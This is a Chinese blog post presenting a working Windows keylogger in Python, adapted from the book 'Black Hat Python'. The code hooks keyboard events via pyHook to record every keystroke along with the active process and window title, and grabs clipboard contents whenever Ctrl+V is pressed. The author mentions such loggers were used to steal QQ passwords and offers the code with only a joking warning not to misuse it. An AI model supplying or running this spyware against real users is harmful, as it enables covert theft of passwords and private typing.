Windows键盘嗅探器
2016-05-16 20:29
169 查看
Windows键盘嗅探器
今天,闲的无聊,于是做了一个简单的键盘嗅探器,主要代码来源于《Python黑帽子》,不得不说,这本书写的特别好,带我进入了黑客的编程世界。以前学习编程,只知道常用的功能,不知道怎么入门网络安全方面,当然吗,现在还没有。。。键盘记录是一个古老的技术,可以捕捉你在键盘上打的字符,从而知道你的隐私信息,以前QQ密码常用的盗窃就是这样实现的,当然了,一山更比一山高,现在最新版的QQ不能获取了,我试探的时候,QQ客户端会随机产生字母出来,完全无法捕捉。
不管了,我们先来看看如何获取键盘的信息,我们需要安装PyHook库,这个库封装了Windows函数SetWindowsHookEx,简称钩子函数,这个函数允许我们安装自定义的钩子函数,当特定的WIndows事件发生,这个钩子函数就会被调用,从而获得按键消息。
我们看代码:
#coding:utf-8 from ctypes import * import pythoncom import pyHook import win32clipboard user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None def get_current_process(): #获得前台句柄 hwnd = user32.GetForegroundWindow() #获得进程ID pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd,byref(pid)) process_id = '%d' % pid.value executable = create_string_buffer('\x00'*512) h_process = kernel32.OpenProcess(0x400|0x10,False,pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #读取窗口标题 window_title = create_string_buffer("\x00" * 512) length = user32.GetWindowTextA(hwnd, byref(window_title),512) print print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) print kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #################################### ##########钩子核心代码############### def KeyStroke(event): global current_window if event.WindowName != current_window: current_window = event.WindowName get_current_process() # if they pressed a standard key if event.Ascii > 32 and event.Ascii < 127: print chr(event.Ascii), else: ####如果输入的[Ctrl+V],则获得剪贴板内容 if event.Key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() print "[PASTE] - %s" % (pasted_value), else: print "[%s]" % event.Key, return True ###############钩子管理####### kl = pyHook.HookManager() kl.KeyDown = KeyStroke kl.HookKeyboard() pythoncom.PumpMessages()
最后运行,就可以获得敲键盘的所以信息了,不要用它干坏事哦!!!
相关文章推荐
- 按键精灵获取系统时间定时点击
- 编写安全代码:小心volatile的原子性误解
- JQuery遍历JSON对象
- Android开发指南——绑定Service
- Python 线程学习
- Android开发指南——进程间通信AIDL
- 网络编程----基于TCP的socket编程
- 51Nod-1289-大鱼吃小鱼
- 我的Android进阶之旅------>RxJava学习资料汇总
- Windows编程中的子窗口控件设计
- poj3070Fibonacci 矩阵快速幂
- 继承
- AndroidManifest.xml配置文件详解
- Boost.Smart_ptr/enable_share_from_this笔记
- Android小知识点速记
- Android开发指南——Service
- 数组——sort colors
- vs2015 vassistX 每次重启之后都要重新破解的解决办法
- Andriod开发技巧——Fragment的懒加载
- HDU2521 反素数